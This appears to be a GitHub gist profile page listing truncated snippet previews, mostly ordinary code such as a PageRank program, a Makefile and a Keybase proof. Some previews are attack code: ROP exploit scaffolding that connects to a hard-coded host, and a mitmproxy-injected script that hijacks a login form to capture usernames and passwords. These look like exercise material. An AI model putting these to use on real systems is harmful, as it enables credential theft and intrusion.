Skip to content

Instantly share code, notes, and snippets.

View vuryleo's full-sized avatar

Vury Leo vuryleo

View GitHub Profile
import sys
def shiftL(l, s):
return l[s:] + l[:s]
def getDiff(li, totalLen):
if len(li) < 2:
raise Exception('toooo short')
li.append(totalLen + li[0])
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# $File: downloadIITC.py
# $Date: Thu Sep 24 11:28:10 2015 +0200
# $Author: Xiaoyu Liu <i[at]vuryleo[dot]com>
import requests
from bs4 import BeautifulSoup
import os
@vuryleo
vuryleo / rec.cc
Last active August 29, 2015 14:18
/*
* $File: c.cc
* $Date: Fri Jul 10 15:00:27 2015 +0800
* $Author: Xiaoyu Liu <i[at]vuryleo[dot]com>
*/
#include <iostream>
#include <memory>
#include <vector>
#include <map>
@vuryleo
vuryleo / ROP.py
Created January 5, 2015 07:53
recho
import time
import struct
from zio import *
io = zio(('localhost', 1234))
timeout = 1000 * 1000
buf = 0x0804a10c
recv_addr = 0x080489e6
@vuryleo
vuryleo / pagerank.go
Created January 3, 2015 13:41
pagerank
package main
import (
"bufio"
"errors"
"fmt"
"io"
"os"
"strings"
)
@vuryleo
vuryleo / main.py
Created December 16, 2014 17:31
ROP
import time
import struct
from zio import *
io = zio(('166.111.132.132', 1234))
#io = zio(('localhost', 1234))
timeout = 1000 * 1000
buf = 0x0804a10c
from libmproxy.encoding import *
payload = """
<script>
$('#login_form').attr('onsubmit', 'xss();return false');
var xss = function () {
console.log($('#pass').val());
$.cookie('xss', '' + $('#uname').val() + ':' + $('#pass').val(), {path: '/cgi-bin/do_login', expires: 42})
do_login()
};

Keybase proof

I hereby claim:

  • I am vuryleo on github.
  • I am vuryleo (https://keybase.io/vuryleo) on keybase.
  • I have a public key whose fingerprint is DC8A BB5D 55DE 1A7E 7BB0 D29E B0F1 75EF 864E DB26

To claim this, I am signing this object:

#
# $File: Makefile
# $Date: Tue Apr 15 22:29:46 2014 +0800
#
# A single output portable Makefile for
# simple c project
OBJ_DIR = obj
LIB_DIR = lib
BIN_DIR = bin
@vuryleo
vuryleo / select.js
Created October 30, 2013 16:09
Auto selector for RedWeb of Tsinghua. For it need to run in Chrome console, it just have one line.
a=0;b=2;trl = document.getElementsByTagName("tr");for(var i = 0; i < trl.length; i ++){pl = trl[i].getElementsByTagName("input"); if (pl.length==5){pl[parseInt(Math.random()*(b-a))+a].checked=true;}};document.getElementsByTagName("input")[100].click();